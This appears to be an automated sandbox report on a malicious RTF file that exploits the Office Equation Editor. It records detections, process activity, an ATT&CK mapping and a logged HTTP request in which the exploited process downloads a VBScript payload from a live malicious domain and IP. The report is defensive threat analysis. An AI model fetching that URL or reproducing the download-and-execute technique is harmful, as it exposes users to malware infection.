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Windows Analysis Report
DwocLrf8iK.rtf

Overview

General Information

Sample name:	DwocLrf8iK.rtf renamed because original name is a hash value
Original sample name:	a02d2abb1a7da0921aa1fa2d4ae713062b16cda330e9755556c2950f7e413398.rtf
Analysis ID:	1568170
MD5:	f11a6a0e8ae4ccc1c4a311e48b8f464e
SHA1:	6bcd811bf12fa142a18f9710a7b24334530c0807
SHA256:	a02d2abb1a7da0921aa1fa2d4ae713062b16cda330e9755556c2950f7e413398
Tags:	bklpyseyeut4impw50n1rtfuser-JAMESWT_MHT
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Document exploit detected (process start blacklist hit)

Office equation editor establishes network connection

Sigma detected: Equation Editor Network Connection

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3636 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3716 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 3976 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
DwocLrf8iK.rtf	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x2105:$obj2: \objdata 0x211a:$obj3: \objupdate

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 5.182.211.149, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3716, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3716, Protocol: tcp, SourceIp: 5.182.211.149, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3716, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3636, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://sbv.pushswroller.eu/tes/jukhccby.vbsj	Avira URL Cloud: Label: malware
Source: http://sbv.pushswroller.eu/tes/jukhccby.vbsH	Avira URL Cloud: Label: malware
Source: http://sbv.pushswroller.eu/tes/jukhccby.vbs	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: DwocLrf8iK.rtf

ReversingLabs: Detection: 52%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 5.182.211.149 Port: 80

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic

DNS query: name: sbv.pushswroller.eu

Source: global traffic

TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80
Source: global traffic	TCP traffic: 5.182.211.149:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80
Source: global traffic	TCP traffic: 5.182.211.149:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 5.182.211.149:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80
Source: global traffic	TCP traffic: 5.182.211.149:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.182.211.149:80

Source: Joe Sandbox View

ASN Name: SKB-ENTERPRISENL SKB-ENTERPRISENL

Source: global traffic

HTTP traffic detected: GET /tes/jukhccby.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sbv.pushswroller.euConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B1CD360A-A8A5-454D-A1AC-E4C35B1B92FE}.tmp

Jump to behavior

Source: global traffic

DNS traffic detected: DNS query: sbv.pushswroller.eu

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Wed, 04 Dec 2024 11:16:58 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: Keep-AliveData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a

Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.356535956.000000000066F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sbv.pushswroller.eu/tes/jukhccby.vbs
Source: EQNEDT32.EXE, 00000002.00000002.356535956.000000000066F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sbv.pushswroller.eu/tes/jukhccby.vbsH
Source: EQNEDT32.EXE, 00000002.00000002.356535956.000000000066F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sbv.pushswroller.eu/tes/jukhccby.vbsj

System Summary

Malicious sample detected (through community Yara rule)

Source: DwocLrf8iK.rtf, type: SAMPLE

Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: DwocLrf8iK.rtf, type: SAMPLE

Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal84.expl.winRTF@3/7@1/1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$ocLrf8iK.rtf

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6F74.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: DwocLrf8iK.rtf

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wdi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: duser.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: DwocLrf8iK.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\DwocLrf8iK.rtf

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Automated click: OK
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006701F4 push eax; retf	2_2_006701F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0067C3F0 push A00067C4h; ret	2_2_0067C3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00678F54 push 50000103h; retf	2_2_00678F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0067C2DC pushad ; retn 0067h	2_2_0067C2DD

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3736	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3884	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3996	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	23 Exploitation for Client Execution	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	Data from Local System	3 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	13 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DwocLrf8iK.rtf	53%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882

Source	Detection	Scanner	Label
http://sbv.pushswroller.eu/tes/jukhccby.vbsj	100%	Avira URL Cloud	malware
http://sbv.pushswroller.eu/tes/jukhccby.vbsH	100%	Avira URL Cloud	malware
http://sbv.pushswroller.eu/tes/jukhccby.vbs	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sbv.pushswroller.eu	5.182.211.149	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sbv.pushswroller.eu/tes/jukhccby.vbs	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://sbv.pushswroller.eu/tes/jukhccby.vbsj	EQNEDT32.EXE, 00000002.00000002.356535956.000000000066F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://sbv.pushswroller.eu/tes/jukhccby.vbsH	EQNEDT32.EXE, 00000002.00000002.356535956.000000000066F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.182.211.149	sbv.pushswroller.eu	Netherlands		64425	SKB-ENTERPRISENL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568170
Start date and time:	2024-12-04 12:16:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DwocLrf8iK.rtf renamed because original name is a hash value
Original Sample Name:	a02d2abb1a7da0921aa1fa2d4ae713062b16cda330e9755556c2950f7e413398.rtf
Detection:	MAL
Classification:	mal84.expl.winRTF@3/7@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3716 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: DwocLrf8iK.rtf

Simulations

Behavior and APIs

Time	Type	Description
06:16:54	API Interceptor	326x Sleep call for process: EQNEDT32.EXE modified

LLM Input / Output

Input	Output
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to DwocLfr8K?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to DwocLfr8K?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to DwocLfr8K?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to DwocLfr8K?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

